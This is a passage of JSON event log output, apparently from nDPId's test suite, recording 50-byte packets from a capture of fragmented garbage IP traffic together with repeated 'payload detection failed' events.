+00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171922,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171949,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171975,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":171987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172156,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":172389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 